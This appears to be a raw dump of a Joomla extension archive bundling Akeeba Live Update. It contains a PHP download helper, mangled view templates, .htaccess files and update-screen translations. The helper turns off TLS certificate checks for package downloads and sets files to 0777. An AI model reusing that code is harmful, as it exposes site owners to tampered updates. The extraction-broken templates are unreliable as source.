Allows downloading packages over the web to your server */ class LiveUpdateDownloadHelper { /** * Downloads from a URL and saves the result as a local file * @param $url * @param $target * @return bool True on success */ public static function download($url, $target) { // Import Joomla! libraries jimport('joomla.filesystem.file'); /** @var bool Did we try to force permissions? */ $hackPermissions = false; // Make sure the target does not exist if(JFile::exists($target)) { if(!@unlink($target)) { JFile::delete($target); } } // Try to open the output file for writing $fp = @fopen($target, 'wb'); if($fp === false) { // The file can not be opened for writing. Let's try a hack. $empty = ''; if( JFile::write($target, $empty) ) { if( self::chmod($target, 511) ) { $fp = @fopen($target, 'wb'); $hackPermissions = true; } } } $result = false; if($fp !== false) { // First try to download directly to file if $fp !== false $adapters = self::getAdapters(); $result = false; while(!empty($adapters) && ($result === false)) { // Run the current download method $method = 'get' . strtoupper( array_shift($adapters) ); $result = self::$method($url, $fp); // Check if we have a download if($result === true) { // The download is complete, close the file pointer @fclose($fp); // If the filesize is not at least 1 byte, we consider it failed. clearstatcache(); $filesize = @filesize($target); if($filesize <= 0) { $result = false; $fp = @fopen($target, 'wb'); } } } // If we have no download, close the file pointer if($result === false) { @fclose($fp); } } if($result === false) { // Delete the target file if it exists if(file_exists($target)) { if( !@unlink($target) ) { JFile::delete($target); } } // Download and write using JFile::write(); $result = JFile::write($target, self::downloadAndReturn($url) ); } return $result; } /** * Downloads from a URL and returns the result as a string * @param $url * @return mixed Result string on success, false on failure */ public static function downloadAndReturn($url) { $adapters = self::getAdapters(); $result = false; while(!empty($adapters) && ($result === false)) { // Run the current download method $method = 'get' . strtoupper( array_shift($adapters) ); $result = self::$method($url, null); } return $result; } /** * Does the server support PHP's cURL extension? * @return bool True if it is supported */ private static function hasCURL() { static $result = null; if(is_null($result)) { $result = function_exists('curl_init'); } return $result; } /** * Downloads the contents of a URL and writes them to disk (if $fp is not null) * or returns them as a string (if $fp is null) * @param string $url The URL to download from * @param resource $fp The file pointer to download to. Omit to return the contents. * @return bool|string False on failure, true on success ($fp not null) or the URL contents (if $fp is null) */ private static function &getCURL($url, $fp = null, $nofollow = false) { $result = false; $ch = curl_init($url); $config = new LiveUpdateConfig(); $config->applyCACert($ch); if( !@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1) && !$nofollow ) { // Safe Mode is enabled. We have to fetch the headers and // parse any redirections present in there. curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Get the headers $data = curl_exec($ch); curl_close($ch); // Init $newURL = $url; // Parse the headers $lines = explode("\n", $data); foreach($lines as $line) { if(substr($line, 0, 9) == "Location:") { $newURL = trim(substr($line,9)); } } // Download from the new URL if($url != $newURL) { return self::getCURL($newURL, $fp); } else { return self::getCURL($newURL, $fp, true); } } else { @curl_setopt($ch, CURLOPT_MAXREDIRS, 20); } curl_setopt($ch, CURLOPT_AUTOREFERER, true); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Pretend we are IE7, so that webservers play nice with us curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); if(is_resource($fp)) { curl_setopt($ch, CURLOPT_FILE, $fp); } $result = curl_exec($ch); curl_close($ch); return $result; } /** * Does the server support URL fopen() wrappers? * @return bool */ private static function hasFOPEN() { static $result = null; if(is_null($result)) { // If we are not allowed to use ini_get, we assume that URL fopen is // disabled. if(!function_exists('ini_get')) { $result = false; } else { $result = ini_get('allow_url_fopen'); } } return $result; } private static function &getFOPEN($url, $fp = null) { $result = false; // Track errors if( function_exists('ini_set') ) { $track_errors = ini_set('track_errors',true); } // Open the URL for reading if(function_exists('stream_context_create')) { // PHP 5+ way (best) $httpopts = Array('user_agent'=>'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); $context = stream_context_create( array( 'http' => $httpopts ) ); $ih = @fopen($url, 'r', false, $context); } else { // PHP 4 way (actually, it's just a fallback as we can't run Admin Tools in PHP4) if( function_exists('ini_set') ) { ini_set('user_agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)'); } $ih = @fopen($url, 'r'); } // If fopen() fails, abort if( !is_resource($ih) ) { return $result; } // Try to download $bytes = 0; $result = true; $return = ''; while (!feof($ih) && $result) { $contents = fread($ih, 4096); if ($contents === false) { @fclose($ih); $result = false; return $result; } else { $bytes += strlen($contents); if(is_resource($fp)) { $result = @fwrite($fp, $contents); } else { $return .= $contents; unset($contents); } } } @fclose($ih); if(is_resource($fp)) { return $result; } elseif( $result === true ) { return $return; } else { return $result; } } /** * Detect and return available download adapters * @return array */ private static function getAdapters() { // Detect available adapters $adapters = array(); if(self::hasCURL()) $adapters[] = 'curl'; if(self::hasFOPEN()) $adapters[] = 'fopen'; return $adapters; } /** * Change the permissions of a file, optionally using FTP * @param string $file Absolute path to file * @param int $mode Permissions, e.g. 0755 */ private static function chmod($path, $mode) { if(is_string($mode)) { $mode = octdec($mode); if( ($mode < 0600) || ($mode > 0777) ) $mode = 0755; } // Initialize variables jimport('joomla.client.helper'); $ftpOptions = JClientHelper::getCredentials('ftp'); // Check to make sure the path valid and clean $path = JPath::clean($path); if ($ftpOptions['enabled'] == 1) { // Connect the FTP client jimport('joomla.client.ftp'); if(version_compare(JVERSION,'3.0','ge')) { $ftp = JClientFTP::getInstance( $ftpOptions['host'], $ftpOptions['port'], null, $ftpOptions['user'], $ftpOptions['pass'] ); } else { if(version_compare(JVERSION,'3.0','ge')) { $ftp = JClientFTP::getInstance( $ftpOptions['host'], $ftpOptions['port'], null, $ftpOptions['user'], $ftpOptions['pass'] ); } else { $ftp = JFTP::getInstance( $ftpOptions['host'], $ftpOptions['port'], null, $ftpOptions['user'], $ftpOptions['pass'] ); } } } if(@chmod($path, $mode)) { $ret = true; } elseif ($ftpOptions['enabled'] == 1) { // Translate path and delete jimport('joomla.client.ftp'); $path = JPath::clean(str_replace(JPATH_ROOT, $ftpOptions['root'], $path), '/'); // FTP connector throws an error $ret = $ftp->chmod($path, $mode); } else { return false; } } }PKs>\keKpp.com_csvi/liveupdate/classes/tmpl/nagscreen.phpnuW+A */ defined('_JEXEC') or die(); $stability = JText::_('LIVEUPDATE_STABILITY_'.$this->updateInfo->stability); ?>

      updateInfo->version, $stability) ?>

      Powered by Akeeba Live Update

      PKs>\S2,com_csvi/liveupdate/classes/tmpl/install.phpnuW+A */ defined( '_JEXEC' ) or die(); $state = $this->get('State'); $message1 = $state->get('message'); $message2 = $state->get('extmessage'); ?>
      '; options[++r] = data[i].user_id; options[++r] = ''; options[++r] = data[i].user_name; options[++r] = '
      '; options[++r] = data[i].product_sku; options[++r] = ''; options[++r] = data[i].product_name; options[++r] = '
      '; options[++r] = data[i].product_sku; options[++r] = ''; options[++r] = data[i].product_name; options[++r] = '

      Powered by Akeeba Live Update

      PKs>\)*com_csvi/liveupdate/classes/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\ۭnn0com_csvi/liveupdate/classes/tmpl/startupdate.phpnuW+A */ defined('_JEXEC') or die(); ?>

      Powered by Akeeba Live Update

      PKs>\*Y-com_csvi/liveupdate/classes/tmpl/overview.phpnuW+A */ defined('_JEXEC') or die(); JHtml::_('behavior.framework'); JHtml::_('behavior.modal'); ?>
      updateInfo->releasenotes): ?>
      updateInfo->releasenotes ?>
      updateInfo->supported): ?>

      escape($this->updateInfo->extInfo->updateurl) ?>

      escape($this->updateInfo->extInfo->title)); ?>

      updateInfo->stuck):?>

      escape($this->updateInfo->extInfo->title)); ?>

      updateInfo->hasUpdates ? 'hasupdates' : 'noupdates'; $auth = $this->config->getAuthorization(); $auth = empty($auth) ? '' : '?'.$auth; ?> needsAuth): ?>

      updateInfo->extInfo->version ?>
      updateInfo->version ?>
      updateInfo->date ?>
      updateInfo->releasenotes) || !empty($this->updateInfo->infoURL)): ?>
      updateInfo->releasenotes): ?> addScriptDeclaration($script,'text/javascript'); ?> updateInfo->releasenotes && $this->updateInfo->infoURL): ?>  •  updateInfo->infoURL): ?>

      updateInfo->hasUpdates):?> needsAuth ? 'disabled="disabled"' : ''?>

      Powered by Akeeba Live Update

      PKs>\)%com_csvi/liveupdate/classes/.htaccessnuW+A Order allow,deny Deny from all PKs>\E 7com_csvi/liveupdate/language/lt-LT/lt-LT.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Automatinis atnaujinimas" LIVEUPDATE_NOTSUPPORTED_HEAD="Šiame serveryje automatinis atnaujinimas negalimas" LIVEUPDATE_NOTSUPPORTED_INFO="Jūsų serveris rodo, kad automatinis atnaujinimas yra negalimas. Prašome susisiekti su savo tinklapio talpintojais ir paprašyti įgalinti cURL PHP plėtinį arba aktyvuoti URL fopen(). Jei šie plėtiniai jau yra įgalinti, paprašykite jų sukonfigūruoti savo ugniasienę taip, kad ji leistų prieigą prie šios URL:" LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Jūs visada galite atnaujinti %s rankiniu būdu, aplankydami mūsų tinklapį, parsisiųsdami naujausią programos laidą ir įdiegdami standartiniu Joomla! Būdu." LIVEUPDATE_STUCK_HEAD="Automatinis atnaujinimas nurodė, kad įvyko programinė klaida" LIVEUPDATE_STUCK_INFO="Automatinis atnaujinimas nurodė, kad bandant susisiekti su atnaujinimų serveriu įvyko programinė klaida. Paprastai tai rodo, kad tinklapio talpintojas aktyviai blokuoja ryšius su išorinėmis svetainėmis. Jei norite pabandyti iš naujo parsisiųsti atnaujinimo informaciją, prašome spragtelėti žemiau esantį mygtuką "Atnaujinti informaciją". Jei parodomas tuščias puslapis, norint išspręsti šią problemą turėsite kreiptis į savo tinklapio talpintoją." LIVEUPDATE_ERROR_NEEDSAUTH="Norėdami atsinaujinti į naujausią programos versiją, turite nurodyti savo prisijungimo vardą/slaptažodį arba Parsisiuntimo ID komponento parametruose. Kol to nepadarysite, atnaujinimo mygtukas išliks neaktyvus." LIVEUPDATE_HASUPDATES_HEAD="Yra nauja versija" LIVEUPDATE_NOUPDATES_HEAD="Jūs turite naujausią programos versiją." LIVEUPDATE_CURRENTVERSION="Įdiegta versija" LIVEUPDATE_LATESTVERSION="Naujausia versija" LIVEUPDATE_LATESTRELEASED="Naujausios versijos išleidimo data" LIVEUPDATE_DOWNLOADURL="Tiesioginė parsisiuntimo nuoroda" LIVEUPDATE_REFRESH_INFO="Atnaujinti informaciją" LIVEUPDATE_DO_UPDATE="Atnaujinti į naujausią versiją" LIVEUPDATE_FTP_REQUIRED="Automatinis atnaujinimas nustatė, kad norint atsisiųsti ir įdiegti atnaujinimą turi būti naudojamas FTP sluoksnis, tačiau Jūs nenurodėte savo FTP prisijungimo duomenų globaliose savo tinklapio Joomla! nuostatose.

      Jei norite įdiegti naujinimą, nurodykite FTP prisijungimo duomenis." LIVEUPDATE_FTP="FTP informacija" LIVEUPDATE_FTPUSERNAME="FTP naudotojo vardas" LIVEUPDATE_FTPPASSWORD="FTP slaptažodis" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Atsisiųsti ir įdiegti naujinimą" LIVEUPDATE_DOWNLOAD_FAILED="Nepavyko atsisiųsti atnaujinimo paketo. Įsitikinkite, kad į tinklapio laikinąjį aplanką leidžiama rašyti ir tai, kad Jūsų tinklapio globaliose Joomla! nuostatose įgalintas FTP naudojimas." LIVEUPDATE_EXTRACT_FAILED="Nepavyko išpakuoti atnaujinimo paketo. Prašome bandyti atsinaujinti rankiniu būdu." LIVEUPDATE_INVALID_PACKAGE_TYPE="Neteisingas paketo tipas. Atnaujinimas negalimas" LIVEUPDATE_INSTALLEXT="Įdiegti %s %s" LIVEUPDATE_ERROR="Klaida" LIVEUPDATE_SUCCESS="Pavyko" LIVEUPDATE_ICON_UNSUPPORTED="Automatinis atnaujinimas nepalaikomas" LIVEUPDATE_ICON_CRASHED="Įvyko automatinio atnaujinimo programinis lūžis" LIVEUPDATE_ICON_CURRENT="Jūs turite naujausią programos versiją." LIVEUPDATE_ICON_UPDATES="GALIMAS ATNAUJINIMAS! NORĖDAMI ATSINAUJINTI SPRAGTELĖKITE ČIA" PKs>\),com_csvi/liveupdate/language/lt-LT/.htaccessnuW+A Order allow,deny Deny from all PKs>\׳l 7com_csvi/liveupdate/language/sv-SE/sv-SE.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update stöds inte på denna server" LIVEUPDATE_NOTSUPPORTED_INFO="Din server indikerar att Live Update inte stöds. Kontakta ditt webbhotell och be dem aktivera PHP-tillägget cURL och att aktivera URL fopen() wrappers. Om detta redan är aktiverat skall du be dem konfiurera brandväggen så att den accepterar anslutningar från följande URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Du kan alltid uppdatera %s manuellt genom att vår webbplats och ladda ned senaste utgåvan och installera via Joomla som vanligt." LIVEUPDATE_STUCK_HEAD="Live Update har markerat sig själv som krashad" LIVEUPDATE_STUCK_INFO="Live Update har indikerat att den kraschade förra gången den försökte kontakta uppdateringsservern. Detta händer vanligen om kommunikationen med externa webbplatser aktivt har blockerats. Om du vill fortsätta hämta uppdateringsinformation, klicka på knappen "Hämta uppdateringsinfo på nytt" här nedan. Om detta resluterar i en blank sida skall du kontakta ditt webbhotell och rapportera ärendet." LIVEUPDATE_ERROR_NEEDSAUTH="Du måste ange användarnamn/lösenord eller Nedladdnings-ID i komponentens Inställningar innan du försöker uppdatera till senaste version. Uppgraderingsknappen kommer att vara inaktiv till dess detta är gjort." LIVEUPDATE_HASUPDATES_HEAD="Det finns en ny version tillgänglig" LIVEUPDATE_NOUPDATES_HEAD="Du har den senatste versionen" LIVEUPDATE_CURRENTVERSION="Installerad version" LIVEUPDATE_LATESTVERSION="Senaste version" LIVEUPDATE_LATESTRELEASED="Senaste utgåvodatum" LIVEUPDATE_DOWNLOADURL="Direkt nedladdnings-URL" LIVEUPDATE_REFRESH_INFO="Hämta uppdateringsinformation" LIVEUPDATE_DO_UPDATE="Uppdatera till senaste version" LIVEUPDATE_FTP_REQUIRED="Live Update har upptäckt att den behöver använda FTP för att kunna ladda ned och installera uppdateringen. Du har inte sparat din FTP-inloggningsinfo i Joomlas globala inställningar.

      Ange ditt FTP användarnamn och lösenord nedan för att fortsätta med uppdateringen." LIVEUPDATE_FTP="FTP-Information" LIVEUPDATE_FTPUSERNAME="FTP användarnamn" LIVEUPDATE_FTPPASSWORD="FTP Lösenord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Ladda ned och installera uppdateringen" LIVEUPDATE_DOWNLOAD_FAILED="Nedladdningen av uppdateringen misslyckades. Kontrollera att temp-mappen är skrivbar och att du aktiverat Joomla!s FTP-lager i de globala inställningarna för din webbplats." LIVEUPDATE_EXTRACT_FAILED="Uppackningen av uppdaterinspaketet misslyckades. Försök att uppdatera tillägget manuellt." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ogiltig pakettyp. Uppdateringen kan inte fortsätta." LIVEUPDATE_INSTALLEXT="Installera %s %s" LIVEUPDATE_ERROR="FEL!" LIVEUPDATE_SUCCESS="Klart" LIVEUPDATE_ICON_UNSUPPORTED="Live Update stöds inte" LIVEUPDATE_ICON_CRASHED="Live Update krashade" LIVEUPDATE_ICON_CURRENT="Du har den senaste versionen" LIVEUPDATE_ICON_UPDATES="UPPDATERING HITTAD! KLICKA FÖR ATT UPPDATERA." LIVEUPDATE_RELEASEINFO="Information" LIVEUPDATE_RELEASENOTES="Release notes" LIVEUPDATE_READMOREINFO="Läs mer"PKs>\),com_csvi/liveupdate/language/sv-SE/.htaccessnuW+A Order allow,deny Deny from all PKs>\R 7com_csvi/liveupdate/language/tr-TR/tr-TR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Canlı Güncelleme" LIVEUPDATE_NOTSUPPORTED_HEAD="Canlı Güncelleme bu sunucu üzerinde desteklenmiyor" LIVEUPDATE_NOTSUPPORTED_INFO="Sunucunuz Canlı Güncellemeyi desteklemiyor. Lütfen sunucu yöneticinizle görüşerek cURL PHP ekini ya da URL fopen() sarıcılarını etkinleştirmelerini isteyin. Bu ekler zaten etkinleştirilmişse, güvenlik duvarını şu İnternet adresine izin verecek şekilde ayarlamalarını isteyin:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="%s güncellemelerini istediğiniz zaman el ile kurmak için, sitemizden en son sürümü indirip Joomla! bileşen kurucusu ile yükleyebilirsiniz." LIVEUPDATE_STUCK_HEAD="Canlı güncelleme hata vermiş" LIVEUPDATE_STUCK_INFO="Canlı güncelleme, güncelleme sunucusuna son bağlanma denemesinde hata verdiğini belirledi. Bu durum genellikle dışarıdaki sunuculara bağlantıları engelleyen bir sunucu yapılandırmasından kaynaklanır. Güncelleme bilgisini yeniden almak isterseniz lütfen aşağıdaki "Güncelleme bilgisini al" düğmesine tıklayın. Boş beyaz bir sayfa ile karşılaşırsanız sunucu yöneticinize bu durumu iletin." LIVEUPDATE_ERROR_NEEDSAUTH="Son sürüme güncellemeyi denemeden önce, bileşen ayarlarından kullanıcı adı/parolanızı ya da indirme kodunuzu yazmalısınız. Bu bilgileri yazana kadar Güncelle düğmesi devre dışı görünecektir." LIVEUPDATE_HASUPDATES_HEAD="Yeni bir sürüm bulundu" LIVEUPDATE_NOUPDATES_HEAD="Son sürümü kullanıyorsunuz" LIVEUPDATE_CURRENTVERSION="Kullandığınız sürüm" LIVEUPDATE_LATESTVERSION="Son sürüm" LIVEUPDATE_LATESTRELEASED="Son yayın tarihi" LIVEUPDATE_DOWNLOADURL="Doğrudan indirme adresi" LIVEUPDATE_REFRESH_INFO="Güncelleme bilgisini al" LIVEUPDATE_DO_UPDATE="Son sürüme güncelle" LIVEUPDATE_FTP_REQUIRED="Canlı Güncelle, güncellemeyi indirip kurmak yerine FTP kullanmaya gerek duyuyor, ancak FTP bilgilerinizi Joomla! Genel Ayarlarına kaydetmemişsiniz.

      Lütfen güncellemeyi yapabilmek için FTP kullanıcı adı ve parolanızı aşağıya yazın." LIVEUPDATE_FTP="FTP Bilgisi" LIVEUPDATE_FTPUSERNAME="FTP Kullanıcı Adı" LIVEUPDATE_FTPPASSWORD="FTP Parolası" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Güncellemeyi indir ve kur" LIVEUPDATE_DOWNLOAD_FAILED="Güncelleme paketi indirilemedi. Geçici klasörünüzün yazılabilir olduğundan ya da Joomla! Genel Ayarlarından FTP seçeneğini etkinleştirdiğinizden emin olun." LIVEUPDATE_EXTRACT_FAILED="Güncelleme paketi ayıklanamadı. Lütfen bileşeni elle güncellemeyi deneyin." LIVEUPDATE_INVALID_PACKAGE_TYPE="Geçersiz paket tipi. Güncelleme yapılamıyor." LIVEUPDATE_INSTALLEXT="%s %s Kuruldu" LIVEUPDATE_ERROR="Hata" LIVEUPDATE_SUCCESS="Başarıyla" LIVEUPDATE_ICON_UNSUPPORTED="Canlı Güncelleme Desteklenmiyor" LIVEUPDATE_ICON_CRASHED="Canlı Güncelleme hata verdi" LIVEUPDATE_ICON_CURRENT="Son sürümü kullanıyorsunuz" LIVEUPDATE_ICON_UPDATES="GÜNCELLEME VAR! YÜKLEMEK İÇİN TIKLAYIN." LIVEUPDATE_RELEASEINFO="Bilgi" LIVEUPDATE_RELEASENOTES="Yayın notları" LIVEUPDATE_READMOREINFO="Devamını oku"PKs>\),com_csvi/liveupdate/language/tr-TR/.htaccessnuW+A Order allow,deny Deny from all PKs>\z --7com_csvi/liveupdate/language/es-ES/es-ES.liveupdate.ininuW+A; Akeeba Live Update ; Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Translators Isidro Baquero - Carlos M. Cámara - Gnumla.com ; Translation Copyright Gnumla.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Actualización automática" LIVEUPDATE_NOTSUPPORTED_HEAD="Este servidor no soporta la Actualización automática" LIVEUPDATE_NOTSUPPORTED_INFO="Su servidor indica que no soporta la Actualización automática. Por favor, contacte con su proveedor de hosting y pídale que active la función cURL de PHP, o bien que active los wrappers de URL fopen(). Si alguna de las opciones anteriores ya está activada, por favor pídale que que configure su cortafuegos de manera que permita el acceso a la siguiente URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Siempre puede actualizar %s manualmente visitando nuestro sitio, descargando la última versión e instalándola mediante el instalador del gestor de extensiones de Joomla!"; LIVEUPDATE_STUCK_HEAD="La actualización automática informa de un fallo" LIVEUPDATE_STUCK_INFO="La actualización automática determinó que hubo un fallo la última vez que intentó contactar con el servidor de actualizaciones. Esto habitualmente ocurre cuando un host bloquea activamente las comunicaciones con sitios externos. Si desea trata de obtener de nuevo la información sobre nuevas actualizaciones, por favor haga clic en el botón "Refrescar la información sobre actualizaciones" que hay a continuación. Si tras hacerlo obtiene una página en blanco, por favor contacte con su proveedor de hosting y coméntele el problema." LIVEUPDATE_ERROR_NEEDSAUTH="Debe introducir su nombre de usuario/contraseña su ID de Descarga (Download ID) en los parámetros de configuración del componente antes de intentar actualizar a la última versión. El botón de actualización permanecerá deshabilitado hasta que lo haga." LIVEUPDATE_HASUPDATES_HEAD="Hay disponible una nueva versión" LIVEUPDATE_NOUPDATES_HEAD="Ya tiene instalada la última vesión" LIVEUPDATE_CURRENTVERSION="Versión instalada" LIVEUPDATE_LATESTVERSION="Última versión" LIVEUPDATE_LATESTRELEASED="Fecha de la última versión" LIVEUPDATE_DOWNLOADURL="URL de descarga directa" LIVEUPDATE_REFRESH_INFO="Refrescar la información de actualización" LIVEUPDATE_DO_UPDATE="Actualizar a la última versión" LIVEUPDATE_FTP_REQUIRED="La actualización automática determinó que es necesario usar FTP para poder descargar e instalar su actualización, pero usted aún no ha guardado la información de inicio de sesión FTP en la configuración global de Joomla!.

      Por favor introduzca el nombre de usuario y la contraseña de su cuenta FTP a continuación para proceder con la actualización." LIVEUPDATE_FTP="Información FTP" LIVEUPDATE_FTPUSERNAME="Usuario FTP" LIVEUPDATE_FTPPASSWORD="Contraseña FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Descargar e instalar la actualización" LIVEUPDATE_DOWNLOAD_FAILED="La descarga del paquete de actualización no se pudo completar. Asegúrese de que su directorio temporal (temp) tiene permisos de escritura o de que ha habilitado la configuración de FTP en la configuración global de su sitio." LIVEUPDATE_EXTRACT_FAILED="La extracción de los archivos del paquete de actualización falló. Por favor, trate de actualizar la extensión manualmente." LIVEUPDATE_INVALID_PACKAGE_TYPE="Tipo de paquete erróneo. No se puede proceder con la actualización." LIVEUPDATE_INSTALLEXT="Instalando %s %s" LIVEUPDATE_ERROR="Error" LIVEUPDATE_SUCCESS="Éxito" LIVEUPDATE_ICON_UNSUPPORTED="La actualización automática no está soportada" LIVEUPDATE_ICON_CRASHED="La actualización automática falló" LIVEUPDATE_ICON_CURRENT="Ya tiene la última versión" LIVEUPDATE_ICON_UPDATES="¡ACTUALIZACIÓN DISPONIBLE! CLIC PARA INSTALAR." PKs>\),com_csvi/liveupdate/language/es-ES/.htaccessnuW+A Order allow,deny Deny from all PKs>\*:7com_csvi/liveupdate/language/it-IT/it-IT.liveupdate.ininuW+A; @package Akeeba Live Update ; @subpackage it-IT.liveupdate.ini ; @description Traduzione italiana - it-IT ; @version 3.3.6 ; @author Roberto Restelli (roberto@msoutlook.it) ; @copyright Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; @license Licensed under the GNU LGPLv3 or later ; @note All ini files need to be saved as UTF-8 - No BOM LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="La funzionalità di Live Update non è supportata su questo server" LIVEUPDATE_NOTSUPPORTED_INFO="Il vostro server indica che la funzionalità di Live Update non è supportata. Contattate il fornitore e chiedete di abilitare l'estensione PHP cURL oppure attivare le funzionalità di URL fopen(). Se queste opzioni sono già attive, fate verificare la configurazione del firewall per permettere l'accesso al seguente URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="E' sempre possibile aggiornare %s visitando il nostro sito, scaricando l'ultima versione disponibile ed installandola in Joomla usando i normali comando di installazione delle estensioni." LIVEUPDATE_STUCK_HEAD="Live Update ha rilevato un precedente crash" LIVEUPDATE_STUCK_INFO="Live Update ha determinato che, nell'ultimo tentativo di contattare il server di aggiornamento, l'operazione è fallita con un crash. Generalmente questo indica la presenza di un servizio che blocca la comunicazione con siti esterni. Se volete riprovare a recuperare le informazioni di aggiornamento utilizzate il pulsante "Verifica disponibilità aggiornamenti" più sotto. Se il risultato è una pagina vuota, contattate il vostro fornitore per segnalare il problema." LIVEUPDATE_ERROR_NEEDSAUTH="E' necessario inserire Username e Password oppure il proprio Download ID tra i parametri di configurazione del componente prima di tentare l'aggiornamento all'ultima versione. Il pulsante di aggiornamento sarà attivato solamente dopo l'inserimento di tali informazioni." LIVEUPDATE_HASUPDATES_HEAD="E' disponibile una nuova versione" LIVEUPDATE_NOUPDATES_HEAD="Non sono disponibili nuovi aggiornamenti" LIVEUPDATE_CURRENTVERSION="Versione installata" LIVEUPDATE_LATESTVERSION="Ultima versione" LIVEUPDATE_LATESTRELEASED="Data rilascio ultima versione" LIVEUPDATE_DOWNLOADURL="URL di scaricamento diretto" LIVEUPDATE_REFRESH_INFO="Verifica disponibilità aggiornamenti" LIVEUPDATE_DO_UPDATE="Aggiorna all'ultima versione" LIVEUPDATE_FTP_REQUIRED="Live Update ha determinato che è necessario l'utilizzo di FTP per scaricamente ed installare l'aggiornamento, tuttavia non sono state impostate correttamente le informazioni di configurazione in Joomla. Inserite qui sotto Username e Password per il servizio FTP per proseguire con l'aggiornamento." LIVEUPDATE_FTP="Informazioni FTP" LIVEUPDATE_FTPUSERNAME="Username FTP" LIVEUPDATE_FTPPASSWORD="Password FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Scarica ed installa aggiornamento" LIVEUPDATE_DOWNLOAD_FAILED="Lo scaricamento dell'aggiornamento è fallito. Verificate che la cartella temporanea sia scrivibile e che siano abilitate le opzioni FTP di Joomla all'interno della sezione di Configurazione Globale del sito." LIVEUPDATE_EXTRACT_FAILED="L'estrazione del pacchetto di aggiornamento è fallita. Sarà necessario effettuare l'aggiornamento tramite procedura manuale." LIVEUPDATE_INVALID_PACKAGE_TYPE="Formato del pacchetto di aggiornamento non riconosciuto. L'aggiornamento non può essere effettuato." LIVEUPDATE_INSTALLEXT="Installazione %s %s" LIVEUPDATE_ERROR="Errore" LIVEUPDATE_SUCCESS="Completato" LIVEUPDATE_ICON_UNSUPPORTED="Live Update non supportato" LIVEUPDATE_ICON_CRASHED="Live Update non funziona correttamente" LIVEUPDATE_ICON_CURRENT="Non sono disponibili nuovi aggiornamenti" LIVEUPDATE_ICON_UPDATES="INSTALLA NUOVO AGGIORNAMENTO!"PKs>\),com_csvi/liveupdate/language/it-IT/.htaccessnuW+A Order allow,deny Deny from all PKs>\),com_csvi/liveupdate/language/nl-NL/.htaccessnuW+A Order allow,deny Deny from all PKs>\OX X 7com_csvi/liveupdate/language/nl-NL/nl-NL.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Dutch Translation version 3.2.3 by [Robert J. Klop] info@zocors-web.nl LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update wordt op deze server niet ondersteund" LIVEUPDATE_NOTSUPPORTED_INFO="De server geeft aan dat Live Update niet wordt ondersteund. Neem contact op met de hoster en vraag de cURL PHP extensie of om de URL fopen() wrappers te activeren. Vraag, als ze al geactiveerd zijn, de firewall zo in te stellen dat er toegang tot de volgende URL is:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="U kunt %s altijd updaten door onze site te bezoeken, de laatste versie te downloaden en doormiddel van Joomla!'s extensiebeheer te installeren." LIVEUPDATE_STUCK_HEAD="Live Update is gecrasht" LIVEUPDATE_STUCK_INFO="Live Update stelt vast dat het, de laatste keer dat het de update-server trachtte te bereiken, gecrasht is. Dit betekent meestal dat de host actief de communicatie met externe sites blokkeert. Klik, als u de update informatie opnieuw wilt ophalen, op de "Ververs update informatie" knop hieronder. Als dat leidt tot een blanco pagina, neem dan contact op met uw hoster en meld dit." LIVEUPDATE_ERROR_NEEDSAUTH="U moet uw gebruikersnaam / wachtwoord of download ID opgegeven in de parameters van de component om naar de laatste release te upgraden. De upgrade knop zal geblokkeerd blijven tot dit gedaan is." LIVEUPDATE_HASUPDATES_HEAD="Er is een nieuwe versie 